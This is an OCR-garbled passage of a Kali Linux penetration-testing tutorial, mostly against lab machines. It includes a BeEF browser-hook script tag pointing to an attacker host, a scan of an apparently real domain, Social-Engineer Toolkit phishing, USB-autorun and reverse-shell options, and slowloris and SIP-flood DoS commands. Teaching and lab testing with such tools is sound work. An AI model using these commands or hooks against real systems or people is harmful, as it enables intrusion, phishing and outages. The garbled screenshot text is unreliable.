

mtu 15

EEtherHet;
OWASP ZAP

OWASP ZAP

2.4.3

ZAF Tips and Tricks:

Save your ZAP session at the start of a test rather than at
the end - the session is stored in a db which will be updated

el all of the time so you wont have to save it again.

ned pattern,

INFO: loaded filter Replace HTTP response body using defin
ed pattern,

INFO: loaded filter Replace HTTP response header using def
ined pattern.

INFO: loaded filter Send ZAP session request ID

¥

“Start”.



File Edit “iew Analyse Report Tools Online Help
StandardMode ) B HEf & S0 ODBEE DEO0 47 @k P o ER@E |
I & Sites | o | J ~ Quick Start JI'T = Request ] Responsed= | =

@LEHGE 0

v = contents Welcome to the OWASP Zed Attack

& pefault Contest

| ZAP 15 an easy to use Integrated penetration testing toal for finding wulner

OWASP ZAP @ ins that you have be

Do you want to persist the ZAP Session? :prass Attack®,
() ves. | want te persist this session with name based on the current timestamp

I Yas, | want to persist this session but | want to spacify the name and location |

I [_) Mo, | do not want to parsist this sassion at this moment in time |

|_| Remember my cheoice and do not ask me again,

You can always change your dacision via the Options / Database screen ¥

= History | =, Sez kel

E & | FilterOFF
Id |Reg. Times.., | Met... URL

| €. |Reason |... | Size Resp... | Highes... | N... | Tags

L4

|

Curent Scans 460 G0 Ao @o #o S0 #o|
Following web is metasploitable with IP :192.168.1.101

Alerts Q0 O U0 RO

A | 192.168.1.101/dvwa/login.php ﬁ| — '.{ @

DVWA)

Username

Password

Step 4 — Enter URL of the testing web at "URL to attack” — click “Attack”.



File Edit Wiew Analyse Report Tools Online Help

Untitled Session - OWASP ZAP 2.4.3 00

StendardMode v B M H B DEE OO &V P P OXERE

I @ Sltes i E o ] " Quick Start & | =+ Request T Responses T+ ]

Te guickly test an application, enter its URL below and press ‘attack’

URL to attack: ' http:/192.168.1.101/dvwa
| #Fatack | Cistop |

e s
[E Hlstary-[ “L, Search T 0 plerts T [ ] output T 8 splder T M Active Scan # % -[m

@ LEE z
* () Cortexts Welcome to the OWASP Zed Attack

] Default Context ZAP |5 an easy to use integrated penetration testing tool for finding vulner
* @ MSites

Please be aware that you should only attack applications that you hawve be

Progress: Actively scanning (attacking) the URLs discovers

Te

B » MewScan  Progress: |D: http:/192.168.1.101 /dvwa .'_v} i i 7% < Current Scans:1 | Num requests: 0 o5
Id | Reg Timest... | Resp. Time... | Mat... | URL | ... |Reason | .. |Size Resp. .. |Size Resp.. B

26 2010161, Z2W1W161.. POST http192168.1.101/dvwarlogl,. 200 OK .o 3B2 bytes 1.26 KIB z

27 2010161.. 20/10/16 1... POST http:/192.168.1.101 /dvwa/logi.. 200 OK e 382 bytes 1.26 KB

28 2010716 1. 201QJ161... POST http:f192 1681101 /dvwaflogi.. 200 OK wo  3B2 bytes 1.26 KB

2% 2010M161.. 2010/161.. POST http:#192.168.1.101/dvwaflogl.. 200 OK .o 360 bytes 1.26 KIB

30 2010161, 20/10/16 1... POST http:/192.168.1.101 /dvwa/logi.. 200 OK o 360 bytes 1.26 KB

31 2010M61,, 2010/161... POST http:#192 168,1,101/dvwaflogi,.. 200 OK e 360 bytes 1,26 KB v
Alerts B0 Rl U4 RO current Scans @0 &0 A1 @0 #¥o S o #o

After the scan is completed, on the top left panel you will see all the crawled sites.

In the left panel “Alerts”, you will see all the findings along with the description.

StardardMode o | | B HE 5 i O T2 EE0 DED &Y Sk F O XK EHR B W
_Iﬁ Snu-['l"l _[-,,; Guick Start n‘]'-p quﬂstTH&:pﬂn:nPT+1

=/

[M GET: hitp:il 52,168 1.101fchowa Etdarce:

v (5 Contents | Welcome to the OWASP Zed Attack Proxy (ZAP
E] Default Contet | Z&PF s an easy o use ntegrated penatration testing teal far finding vdnerabiities in web applicata
T G
v P RO 166 1,101 Flaase ba aware that you should anly attack applications that you have bean specifically been ghar
L WOET:Bika To quickly Lest an application, enter its URL beknw and press ‘Altack’
% M GETirobols.ta
Mo W GETisitemap.smi
R URL ta attack: hitpe (192 168,11 00 vwa
o GETlagn.php ¥ fttack || B 5top
T O : p " . P
b — Frograss artack complete - 9@ the Alems tal for detals of any issues tound
M GET:css
b7 E::';ET:"‘q'“'P"F';"’“g"‘""’“"“’d USRI For g mare in depth Test yow should explone your spplcation using your browser of sutomated regrd
L iewWa
if you are using Firefox 24.0 or later you can use ‘Flug:n-Hack' to configure your browser: |
[=% T A% - T
j = History T =, Search T Fo gens # I Qutput T e Spider I B betive Scan | <
o
¥ & dlerts (B} & (JURL: httpef192.168.1.101 dvwallegin php
¥ [ ™ Directory Browsing (2) Rigks # Medium
LY GET: hitp:/il 52.16E.1.101 ichwwa ! dwasal Canfidences: Mediiim
[ GET: http:dil 52,166 1. 101 ichowadvwaicss/ Parameter: : : s
= E # KFrama-Optians Haadar Mat Set (5) Artacks Descripticn of Vidnerability

i 2, 1661, 101 ichewa ldvwaicasiogn,os .f;r;cl::n E
B2 166 1. 101 ichsvalagnphp Descrigticn:
| GET: hinpsl 82,166 1, 101 rabats, b L3
[ GET: Mol 52,166 1. 101 i5iteemnap, i r X.Frame-Optians header ks not incleded in the HTTP rasponse to protact against

Step 5 — Click “Spider” and you will see all the links scanned.
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Database Tools Usage

sqlmap

sglmap is an open source penetration testing tool that automates the process of detecting
and exploiting SQL injection flaws and taking over of database servers. It comes with a
powerful detection engine, many niche features for the ultimate penetration tester and a
broad range of switches lasting from database fingerprinting, over data fetching from the
database, to accessing the underlying file system and executing commands on the
operating system via out-of-band connections.

Let’s learn how to use sqlmap.

Step 1 - To open sglmap, go to Applications — 04-Database Assessment — sqlmap.

Applications «

Favarites
01 - Information Gathering

. hexorbase
02 - Vulnerability Analysis
03 - Web Application Analysis i, j=ql
04 - Database Assessment eEtRa]
05 - Password Attacks
06 - Wirelass Attacks
07 = Reverze Engineering sidguesser
Qg E;;.;I.'| ton Tools

sgldict
0% - Sniffing poofing

10 - Post Expledtation SGLite dat..
A

i '_'.r|!.m:|r.-
1 sglninja
sqlsus

Usual applications : Fn".rrndjl'l-j

The webpage having vulnerable parameters to SQL Injection is metasploitable.
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e < -
Please enter username and password
1o view account details
Hame=
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hacked...erT...quality-
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Flle Mnrsawss mutil bl usar-nin, php
_ | Emor axaculing quary; ¥ow hawa an ermor in your SOL syniax; chack tha manual that cormesponds 10 enur My S0L saner

Step 2 — To start the sqgl injection testing, type “sqlmap — u URL of victim”

L® ] = Wik

hp&usern

Step 3 — From the results, you will see that some variable are vulnerable.

[17:06:32] [WARNING] heuristic (basic) test shows that GET parameter 'page’' migh
t not be injectable

[17: 32] [INF0Q] heuristic (XSS) test shows that GET parameter
vulnerable to X55% attacks

L ‘page

might be

sqglninja

sglninja is a SQL Injection on Microsoft SQL Server to a full GUI access. sqlninja is a tool
targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft

SQL Server as its back-end. Full information regarding this tool can be found on
http://sqlninja.sourceforge.net/

Step 1 — To open sqglninja go to Applications — 04-Database Assesment — sqglninja.


http://sqlninja.sourceforge.net/

Applications « Flaces *  [] Terminal

Faworites

== bbqsql

01 - Information Gathering
%+ hexorbase
02 = Vulnerability Analysis UL

03 - Web Application Analysis * jsql

- Database Ass e
mdb-sq

» - Password Attacks
- Wireless Attacks G

07 = Reverse Engineering sidguesser

08 - Exploitation Tools
sqldict
3 - 5niffing & Spoofing
- Post Exploitation Slite dat.
1 - Fore| H4 sqlmap
2 - Reporting Tools _1.181/mutillidas/index.ph

:'.r.']|.|'|||'|_|.:1
ial Engineering Toaols

14 - System Services ..;:. = sqlsus

sual applications
thuslepiication tnscmd10g

CMS Scanning Tools

WPScan

WPScan is a black box WordPress vulnerability scanner that can be used to scan remote
WordPress installations to find security issues.

Step 1 — To open WPscan go to Applications — 03-Web Application Analysis — “wpscan”.



pplications - Places »  [] Terminal = Sat 16:01

Favorites burpsuite

01 - Information Gathering

Commix

02 - Vulnerability Analysis th user-supplied one

03 - Web Application Analysis Gzl httrack }. exception: [Errno ol and64 Package

04 - Database Assessment
CWasp-zap
05 - Password Attacks tion: invalid HOST:POR

Pilrl):

06 = Wireless Attacks
07 - Reverse Engineering skipfish
08 - Exploitation Tools -
! sglmap
09 - Sniffing & Spoofing
10 - Post Exploitation et
11 - Ferensics wisaf ception: [Ermo 93] Ca
12 - Reporting Toaols

webscarab
13 - Social Engineering Teols

14 - System Services wpscan

Usual applications

The following screenshot pops up.

roct@kali: ~

File Edit View Search Terminal Help

WordPress Security Scanner by the WPScan Team
Varsion 2.9
Sponsored by Sucurli - https://sucuri.net
@ _WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @ FireFart_

Help
Some values are settable in a config file, see the example.conf.json

- -update Update to the database to the latest version

--url | -u =target url= The WordPress URL/domain te scan.
-=Torce | =T Forces WPScan to not check if the remote sit

e is running WordPress.

Enumeration.

Step 2 - To scan a website for vulnerabilities, type “"wpscan —u URL of webpage

144

If the scanner is not updated, it will ask you to update. I will recommend to do it.




i=# wpscan -u itsolution.support

Once the scan starts, you will see the findings. In the following screenshot, vulnerabilities
are indicated by a red arrow.

e tima.
[M]ln

n rumber

in Multisite




ObG6124: FRAF7ET7A4 FdOh:

upload.html

slons-not-terminated-.

npromisa-on-wordprass-sitas  html

hindthef

Joomscan

Joomla is probably the most widely-used CMS out there due to its flexibility. For this CMS,
it is a Joomla scanner. It will help web developers and web masters to help identify
possible security weaknesses on their deployed Joomla sites.

Step 1 — To open it, just click the left panel at the terminal, then “joomscan -
parameter”.

Step 2 - To get help for the usage type “joomscan /?”

:~# joomscan / "I

Step 3 — To start the scan, type " joomscan —u URL of the victim”.

Results will be displayed as shown in the following screenshot.



P ]

.E,ElJr

Component com _djartgallery Multiple Vulnerablilities

index php?option=com_djartgallerybtask=editItemb&cid[]=1"+a

t: fadministrator/index.php?option=com_djartgallery&task=editItemGcld[]=1"
and+1=1+--+

Vulnerable? N/A

are are 2 vulnerable points in 28 found entriaes!

Time Ta
Send b ol tions - ' .-_':."'I:-:i':, ehg.net

SSL Scanning Tools

TLSSLed is a Linux shell script used to evaluate the security of a target SSL/TLS (HTTPS)
web server implementation. It is based on sslscan, a thorough SSL/TLS scanner that is
based on the openssl library, and on the “openssl s_client” command line tool.

The current tests include checking if the target supports the SSLv2 protocol, the NULL
cipher, weak ciphers based on their key length (40 or 56 bits), the availability of strong
ciphers (like AES), if the digital certificate is MD5 signed, and the current SSL/TLS
renegotiation capabilities.



To start testing, open a terminal and type “tlssled URL port". It will start to test the
certificate to find data.

root@kali: ~ 209

File Edit View Search Terminal Help
i~# tlssled

(1.3) based on an and openssl
by Ra www .t addeong

fal =

(2mpty me:
Running sslscan on

[-]1 Testing for SSLv2

You can see from the finding that the certificate is valid until 2018 as shown in green in the
following screenshot.
for the certificate CA e
RSA Domain Validation Secure A
[
Today
valid

lot wvalid

[.] Checking preferred server ciphers

(CVE-206085-3555)

(RFC 5746)

(CVE-2011-1473)

[.] Testing for client initiated (CI) SSL/TLS renegotiation (insecure)...
UINENOWN

Testing for c¢lient authentication using digital certificates

w3af



w3af is a Web Application Attack and Audit Framework which aims to identify and exploit
all web application vulnerabilities. This package provides a Graphical User Interface (GUI)
for the framework. If you want a command-line application only, install w3af-console.

The framework has been called the “metasploit for the web”, but it's actually much more
as it also discovers the web application vulnerabilities using black-box scanning techniques.
The w3af core and its plugins are fully written in Python. The project has more than 130
plugins, which identify and exploit SQL injection, cross-site scripting (XSS), remote file
inclusion and more.

Step 1 — To open it, go to Applications — 03-Web Application Analysis — Click w3af.

Applications -

| {l burpsuite
| T

F  commix

11 httrack
':3». owWasp-Zap
paros
skipfish
sqlmap
vaga

2 - Reporting Tools
\'!'E'L"'ﬁ car JI."

@ WpSCAN

weial Engjineering Tools

Usual applications

Step 2 — On the “Target” enter the URL of victim which in this case will be metasploitable
web address.
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Scan canfig Explait
Profiles Targer: | 192168,1. 100 dwve| > Start| |5
CWASE_TOP1O i
sudit_high_risk 7 E auth
brutefarce brutefores
fast_scan 3 crawl
full_audit f B svation
full_audit_spider_man grep
sitemap infrastructure
b_infrastrsctu
ettt manghe This ks an empty profile that you can use
to start a new configuration fram.
Active Plugin
1= eutput
k
Step 3 — Select the profile — Click “Start”.
L L~ e e e e =
Profiles Edit View Tools Configuration Help
L s R u = n & @ B 4§ 0 o «
Scan config Exploit
Frofiles Targat | 192166.1.101/cwva g P start || | 5

CWASP _TOP10
audit_high_risk
bruteforce
Fast_scan

full _audit

sitemap

web_infrastructure

empty_profile Active Plugin

H asudit
» % blind_sqli
buffer_overflow

dav

N cors_onigin

csrf

% eval
| % file_upload This plugin finds WebDAY configuration emors. These emors are
- generally server configuration emors rather than a web application
e errors. To check far vulnerabilities of this kind, the plugin will try
frontpage o PUT a file on a directory that has WebDAY enabled, if the file is

Active Plugln upluaded sl.r:l:e::full"-. then we have found a hug.

+ = autput

L

Step 4 — Go to "Results” and you can see the finding with the details.
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Scanconflg | Lag | Results | Explait
KBBrowser URLs Request/Response navigator
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content-length: 384
content-encoding: gzip
X-powered-by: PHP/S. 3 10-lubuntud. 4
vary: Accepi-Encoding

sarver: Apaches2.2.22 (Ubuntu}
dats: Sat, 1% Jan 2813 Z0;17:18 GMT
content-type: text/shtnl

Fatal error: Uncaught exceplion ‘Exceplion’ with message “Error
perfornlng guery: husels where nane='d'z"8': <br /
=1064: You have an error Lm your SOL syntax; check the manual
that corresponds to your MyS0L server wersion tTor the right
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sql_injecctionssclectyssql_injection string.php:ls
Stack trace:
#3 {main}

Lhrown in .-'-.'.1r.-'hm..,-'-uu-.‘.r,-'dn:li.,."'.-:|'|. injecliongselecl/
sql Lnjection string.php on line 15

4 | | i
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Kali Linux - Exploitation Tools

In this chapter, we will learn about the various exploitation tools offered by Kali Linux.

Metasploit

As we mentioned before, Metasploit is a product of Rapid7 and most of the resources can
be found on their web page www.metasploit.com . It is available in two versions -
commercial and free edition. The differences between these two versions is not much
hence, in this case we will be using the Community version (free).

As an Ethical Hacker, you will be using “Kali Ditribution” which has the Metasploit
community version embedded, along with other ethical hacking tools which are very
comfortable by saving time of installation. However, if you want to install as a separate
tool it is an application that can be installed in the operating systems like Linux, Windows
and OS X.

First, open the Metasploit Console in Kali. Then, go to Applications — Exploitation Tools —
Metasploit.
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After it starts, you will see the following screen, where the version of Metasploit is
underlined in red.

Terminal - o N~
File Edit View Search Terminal Help

In the console, if you use help or ? symbol, it will show you a list with the commands of
MSP along with their description. You can choose based on your needs and what you will



s = help

are Commands

Description

{ Help menu

advanced Displays advanced options for one or more modules

back Move back from the current context

banner Display an awesome matasplolt banner

cd Change the current working directory

color Toggle color

connect Communicate with a host

adit Edit the current module with $VISUAL or $EDITOR

exit Exit the console

get Gets the value of a context-specific wvariable

getg Gets the wvalue of a glebal wvariable

qrap Grap the output of another command

help Help menu

info Displays information about one or more modules

irb Drop inte irb scripting mode

jobs Displays and manages jobs

kill Kill a job

load Load a framework plugin

loadpath Searches for and loads medules from a path

makerc Save commands entered since start to a file

opticons Displays global options or for one or more modules

popm Pops the latest module off the stack and makes it active
pravious Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console

Another important administration command is msfupdate which helps to update the

metasploit with the latest vulnerability exploits. After running this command in the console,

you will have to wait several minutes until the update is complete.

ns I' = nsfupdats
| @xac: msfupdate

Attempting to wupdate the Matasploit Framework. .,

Checking for updates via the APT repoﬁitarf
Mote: expact weakly(ish) wpdates using this method
Updating to varsion 4.12.15 -GkaliZ
eading package lists...
ding rﬂ'usnllsnlg, trag. ..
HL ding state information.
r— following additional pa k:gea will be installed:
libruby2.3 ruby ch you-mean ruby-net-telnet
gested packagas
amaw ciana:-ﬂacncn
r= following NEW packages will be installed:
ibruby2 .3 ruby-did-you-mean ruby-net -talnat
;rr following packages will be upgraded:
metasplodt - framework
1 upgraded, 3 newly installed, O to remove and 15689 not upgraded.
to gat 68.5 HE of archives,
tar this operaticon, 56.7 MB of additional disk space will be used.
http:f/kali.mirror.garr.it/mirrors/kali kali-rolling/main amdf4 ruby-did-you-mean all 1.8.8- 11.2 kB}
12 httpis/kall.mirror.garr.it/mirrers/kall kali-rolling/main amdG4 ruby-net-telnet all @. ] o kB]
3 httprfikall.omirror . gare. lt/mirmors/Kall Kall-rolllng/main amdGd 1ibruby2 .3 amdéd 2.3 --.Iij
:f/kali.mirror.garr.it/mirrors/kali kali-rolling/main amdé4 metasploit -framework anjb4 4 .15-Bkali2




It has a good command called “Search” which you can use to find what you want as shown
in the following screenshot. For example, I want to find exploits related to Microsoft and
the command can be msf >search name:Microsoft type:exploit.

Where “search” is the command, “name” is the name of the object that we are looking for,
and “type” is what kind of script we are looking for.

Disclosure Date Rank Descripti

2A13-07-02 rarmal

2014-11-18 rormal

20a8-10-14 I rmal

normal

i rmal

rormal

Il | rarmal
numeration
oWwner rormal
rarmal

rarmal

1/ ralate evecyte g0 =gl = o gl i - rosntt
Another command is “info”. It provides the information regarding a module or platform
where it is used, who is the author, vulnerability reference, and the payload restriction that
this can have.

scription:
Thi du

thentication-bypa using-i3@index_

Armitage



Armitage GUI for metasploit is a complement tool for metasploit. It visualizes targets,
recommends exploits, and exposes the advanced post-exploitation features.

Let's open it, but firstly metasploit console should be opened and started. To open
Armitage, go to Applications — Exploit Tools — Armitage.

Applications = Places » gl a mitage-ArmitageMain - Sun Q&2

beef xes fr...

03 - Web Application Analysis mietasploit _

04 = Database Assessment :
msf paylea..

search 5.p|.::.t

social engi..
Q- F:u'r:l-:-fnrl:'.-r. Tools =
S+ =glmap
o - Enrl"ﬁir; & "_'-|:-|:-|:-Fin§_|

termineter

cial Engineering Tools

- System Services

| Usual applications

hiln ATMTage-ANMITagenian «

Connect,

|127.0.0.1

55553
msf

LY

When it opens, you will see the following screen.
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Armitage is user friendly. The area "“Targets” lists all the machines that you have
discovered and you are working with, the hacked targets are red in color with a
thunderstorm on it.

After you have hacked the target, you can right-click on it and continue exploring with
what you need to do such as exploring (browsing) the folders.
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In the following GUI, you will see the view for the folders, which is called console. Just by
clicking the folders, you can navigate through the folders without the need of metasploit
commands.

On the right side of the GUI, is a section where the modules of vulnerabilities are listed.
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Modules

BeEF

BeEF stands for Browser Exploitation Framework. It is a penetration testing tool that
focuses on the web browser. BeEF allows the professional penetration tester to assess the
actual security posture of a target environment using client-side attack vectors.

First, you have to update the Kali package using the following commands —

root@kali:/# apt-get update
root@kali:/# apt-get install beef-xss

To start, use the following command —

root@kali:/# cd /usr/share/beef-xss
root@kali:/# ./beef
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Authemscation

Username bea

The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client
browsers. When it does, it calls back to the BeEF server communicating a lot of information
about the target. It also allows additional commands and modules to be ran against the
target. In this example, the location of BeEF hook is at
http://192.168.1.101:3000/hook.js.

In order to attack a browser, include the JavaScript hook in a page that the client will view.
There are a number of ways to do that, however the easiest is to insert the following into a
page and somehow get the client to open it.

<script src = "http://192.168.1.101:3000/hook.js" type = "text/javascript"></script>

Once the page loads, go back to the BeEF Control Panel and click “"Online Browsers” on the
top left. After a few seconds, you should see your IP address pop-up representing a
hooked browser. Hovering over the IP will quickly provide information such as the browser
version, operating system, and what plugins are installed.
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To remotely run the command, click the "Owned” host. Then, on the command click the

module that you want to execute, and finally click “Execute”.
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This module will use a Man-In-
The-Beowser aktack to ensure that
the BeEF hook will stay until the
user leaves the domain {manually
changing & in the URL bar)

Execute

Linux Exploit Suggester

It suggests possible exploits given the release version ‘uname -r’ of the Linux Operating

System.

To run it, type the following command —

root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0

3.0.0 is the kernel version of Linux OS that we want to exploit.




Kali Linux - Forensics Tools

In this chapter, we will learn about the forensics tools available in Kali Linux.

pOf

pOf is a tool that can identify the operating system of a target host simply by examining
captured packets even when the device in question is behind a packet firewall. POf does
not generate any additional network traffic, direct or indirect; no name lookups; no
mysterious probes; no ARIN queries; nothing. In the hands of advanced users, POf can
detect firewall presence, NAT use, and existence of load balancers.

Type “pOf — h” in the terminal to see how to use it and you will get the following results.

roatifkali; =




/p0f: invalid option -- 'h’
)Isage: pof [ ...options... ] [ 'filter rule' ]

etwork jinterface options:

-1 iface - listen on the specified network interface
-r file - read offline pcap data from a given file
-p - put the listening interface in promiscuous mode

L - list all available interfaces
lperating mode and output settings:

file - read fingerprint database from 'file’' (pof.fp)

file - write information to the specified log file

name - answer to API queries at a named unix socket

user - switch to the specified unprivileged account and chroot
- fork into background (requires -o or -s)

It will list even the available interfaces.
- Available interfaces --

0: Name : etho
Description : -
IP address : 192.168.1.9

: IName : nflog
Description : Linux netfilter log (NFLOG) interface
IP address : (none)

: Name :oany

Description : Pseudo-device that captures on all interfaces
IP address : (none)

: Name : Lo
Description : -
IP address : 127.0.0.1

Then, type the following command: “pOf —i ethO -p -o filename”.

Where the parameter "-i" is the interface name as shown above. "-p" means it is in
promiscuous mode. "-0" means the output will be saved in a file.

1:~# pof -1 eth® -p -o /root/Desktop/my.log

Open a webpage with the address 192.168.1.2
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Most Visited™>  [lOffansive Secwity ™ Kali Linas "W Kali Docs ™ Kali Tools KExplot-DB

It works!

From the results, you can observe that the Webserver is using apache 2.x and the OS is
Debian.

pdf-parser

pdf-parser is a tool that parses a PDF document to identify the fundamental elements used
in the analyzed pdf file. It will not render a PDF document. It is not recommended for text
book case for PDF parsers, however it gets the job done. Generally, this is used for pdf
files that you suspect has a script embedded in it.

The command is —

pdf-parser -o 10 filepath

where "-0" is the number of objects.

:~# pdf-parser -o 10 /froot/Desktop/o0.pdf

As you can see in the following screenshot, the pdf file opens a CMD command.

Dumpzilla



Dumpzilla application is developed in Python 3.x and has as a purpose to extract all
forensic interesting information of Firefox, Iceweasel, and Seamonkey browsers to be
analyzed.

ddrescue

It copies data from one file or block device (hard disc, cdrom, etc.) to another, trying to
rescue the good parts first in case of read errors.

The basic operation of ddrescue is fully automatic. That is, you don't have to wait for an
error, stop the program, restart it from a new position, etc.

If you use the mapfile feature of ddrescue, the data is rescued very efficiently (only the
needed blocks are read). Also, you can interrupt the rescue at any time and resume it later
at the same point. The mapfile is an essential part of ddrescue's effectiveness. Use it
unless you know what you are doing.

The command line is —

dd_rescue infilepath outfilepath

Parameter "=v" means verbose. "/dev/sdb" is the folder to be rescued. The img file is
the recovered image.

* No Sparse: no
Ctrl-C to interrupt
; d from

v : a5 Er A B Brrorc:.
B B, ¢ B B, errors:

currentct

opos: B, from last succ

DFF

It is another forensic tool used to recover the files. It has a GUI too. To open it, type “dff-
gui” in the terminal and the following web GUI will open.
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Kali Linux - Social Engineering

In this chapter, we will learn about the social engineering tools used in Kali Linux.

Social Engineering Toolkit Usage

The Social-Engineer Toolkit (SET) is an open-source penetration testing framework
designed for social engineering. SET has a number of custom attack vectors that allow you
to make a believable attack in a fraction of time. These kind of tools use human behaviors
to trick them to the attack vectors.

Let’s learn how to use the Social Engineer Toolkit.

Step 1 — To open SET, go to Applications — Social Engineering Tools — Click “SET"” Social
Engineering Tool.



Applications - Places Sum 15132

Favorites

01 - Information Gatf
beef xss fr...

03 - Web Application Anatysis i ghost phis..

04 - Database Assessment
ralte i

- Password Attacks
mesf payloa...

social engi...

ud-pawn

cial Engineering Tools
£

M =ervices

Usual applications

Step 2 - It will ask if you agree with the terms of usage. Type “y” as shown in the
following screenshot.

Step 3 — Most of the menus shown in the following screenshot are self-explained and
among them the most important is the number 1 “Social Engineering Attacks”.

Terminal 00

File Edit View Search Terminal Help

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www. trustedsec.com
Select from the menu:

ering Atta
anetration Testing

ol a

N W k)

99) Exit the Social -Enginear Toolkit

> i
Step 4 — Type "1” — Enter. A submenu will open. If you press the Enter button again,
you will see the explanations for each submenu.




The Spear-phishing module allows you to specially craft email messages and send them to
your targeted victims with attached FileFormatmalicious payloads. For example, sending
malicious PDF document which if the victim opens, it will compromise the system. If you
want to spoof your email address, be sure “"Sendmail” is installed (apt-get install sendmail)
and change the config/set_config SENDMAIL=0FF flag to SENDMAIL=ON.

There are two options for the spear phishing attack —

Perform a Mass Email Attack

Create a FileFormat Payload and a Social-Engineering Template

The first one is letting SET do everything for you (option 1), the second one is to create
your own FileFormat payload and use it in your own attack.

Terminal [- ol -]

File Edit View Search Terminal Help
16) Third Party Modules
989) Return back to the main menu.
-0 |

The Spearphlshlng mndu1 ailuw; you to speciglly craft email m jes and send
z smal L = fi maliclous

pj?Lnad _nd use it in *uur own attack. E

1) er'r--rrn aM

9%) Return to Main Menu
Type “99” to go back to the main menu and then type “2" to go to “The web attack
vectors”.

The web attack module is a unique way of utilizing multiple web-based attacks in order to
compromise the intended victim. This module is used by performing phishing attacks
against the victim if they click the link. There is a wide variety of attacks that can occur
once they click a link.
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Type “99” to return to the main menu and then type “3”.

The infectious USB/CD/DVD module will create an autorun.inf file and a Metasploit
payload. The payload and autorun file is burned or copied on a USB. When DVD/USB/CD is
inserted in the victim’s machine, it will trigger an autorun feature (if autorun is enabled)
and hopefully compromise the system. You can pick the attack vector you wish to use:
fileformat bugs or a straight executable.

Following are the options for Infectious Media Generator.

File-Format Exploits

Standard Metasploit Executable

te an autorun.inf fil C
is inserted, it will aut tically

: fileformat bugs or a straight executabl

Return to Main Menu

N |
Type “99"” to go back to the main menu. Then, type “4" to go to “The web attack vectors”.

The create payload and listener is a simple way to create a Metasploit payload. It will
export the exe file for you and generate a listener. You would need to convince the victim



to download the exe file and execute it to get the shell.

Spawn a command shell on victim an
Spawn a metarpt ell on wvicti

Spawn a VNC sarver on victim and s

Windows ¥X&64 Command Shell, Reverse

Connect back to the attacker (Wind
Spawn a meterpreter shell and find
Tunnel communication over HTTP usi
Use a hostname instead of an IP ad

Downloads an executable and runs i

Type “99” to go back to the main menu and then type “5” to go to “The web attack
vectors”.

ial Engineer Toolkit Mass E-Mailer

cptions on the mass e-mailer, the first would
cond option
ny people :

r
ail to one individual person. The se

; you to import a list and send it to as ma
you want within that list.

What do you want to do:

E-Mail Attac
E-Mail

Feturn to main menu.

The mass mailer attack will allow you to send multiple emails to victims and customize the
messages. There are two options on the mass e-mailer; the first is to send an email to a
single email address. The second option allows you to import a list that has all recipient
emails and it will send your message to as many people as you want within that list.

E-Mail Attack Single Email Address
E-Mail Attack Mass Mailer

Type “99"” to go back to the main menu and then type “9"” to go to “Powershell Attack
Vector”.
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99) Return to Main Menu

The Powershell Attack Vector module allows you to create PowerShell specific attacks.
These attacks allow you to use PowerShell, which is available by default in all operating
systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying
payloads and performing functions that do not get triggered by preventive technologies.
Powershell Alphanumeric Shellcode Injector
Powershell Reverse Shell

Powershell Bind Shell
Powershell Dump SAM Database

Kali Linux - Stressing Tools

Stressing tools are used to create DoS attacks or to create the stress test for different
applications so as take appropriate measures for the future.

All the Stress testing tools are found in Applications — 02-Vulnerability Analysis — Stress
testing.
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All Stress testing test will be done on metsploitable machine which has IP of
192.168.1.102

sfadmnin@metasploitable:™5 ifconfig

Etho Link encap:Ethernet HUWaddr

inet ;192 . B

Slowhttptest

Slowhttptest is one of the DoS attacking tools. It especially uses HTTP protocol to connect
with the server and to keep the resources busy such as CPU and RAM. Let’s see in detail
how to use it and explain its functions.

To open slowhttptest, first open the terminal and type “slowhttptest —parameters”.

You can type “slowhttptest -h” to see all the paramenters that you need to use. In case
you receive an output, ‘Command not found’ you have to first type “apt-get install
slowhttptest”.

t install

remove and 1759 not upgraded.
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Type the following command —

slowhttptest -c 500 -H -g -o outputfile -i 10 -r 200 -t GET -u
http://192.168.1.202/index.php -x 24 -p 2

Where,

(-c 500) = 500 connections

(-H) = Slowloris mode

-g = Generate statistics

-0 outputfile = Output file name

-i 10 = Use 10 seconds to wait for data

-r 200 = 200 connections with -t GET = GET requests
-u http://192.168.1.202/index.php = target URL
-X 24 = maximum of length of 24 bytes

-p 2 = 2-second timeout

-0 gutputfile -1 18 -r 200 -t GET -u http://102.168.1.162/index.php -x 24

Once the test starts, the output will be as shown in the following screenshot, where you
can notice that the service is available.



un Oct 23 17:08:11 2016:
slowhttptest version 1.6

- https: //code.google.com/p/slowhttptest/ -
SLOW HEADERS
500
http: //192.168.1.102/index. php
GET
4096

52

10 seconds
200

240 seconds
no proxy

un Oct 23 17:08:11 2016:
Low HTTP test status on Oth second:

nitializing: 0
ending: 1
onnected: 0
rror;: 0
1 0

¢ available: YES

After a while, at the 287 connection the service goes down. This means that the server can
handle a maximum of 287 HTTP connections.

un Oct 23 17:09:17 2016:
low HTTP test status o th second:

nitializing:

yending:
onnected:
rror:

ervice available:

Inviteflood

Inviteflood is a SIP/SDP INVITE message flooding over UDP/IP. It executes on a variety of
Linux distributions. It carries out DoS (Denial of Service) attacks against SIP devices by
sending multiple INVITE requests.

To open Inviteflood, first open the terminal and type “inviteflood —parameters”

For help, you can use “inviteflood —-h"”



~=# 1nviteflood -h

inviteflood
2006

sz 2
Mandatory -
interface (e.g. eth®)
(e.g. "" or john.doe or 5680 or "1+210-555-1212")
in (e. e.com or an IPv4 address)
d tar get (ddd.ddd.ddd.ddd)

flood stage (i.e. number of packets)
Optional -
a flood tool F:nm Y 2.g. jane.dog)
) efault is IP address of interface]
ault is well-known discard pe 9]
is well-known SIP port 5@
= \ fault is blank]
» time btwn INVITE msgs '
int this usage

Next, you can use the following command —

inviteflood eth@ target_extension

Where,

target_domain target_ip number_of_packets

target_extension is 2000
target_domain is 192.168.x.x
target_ip is 192.168.x.x
number_of_packets is 1

-a is alias of SIP account

t=# inviteflood eth®

IF 4 El.jljr |:Hlf't

targeted LA

Flood User Alias:

yding destination with 1 packets

Iaxflood

Iaxflood is a VoIP DoS tool. To open it, type “iaxflood sourcename destinationname
numpackets” in the terminal.

To know how to use, type “iaxflood -h"”



thc-ssl-dos

THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL
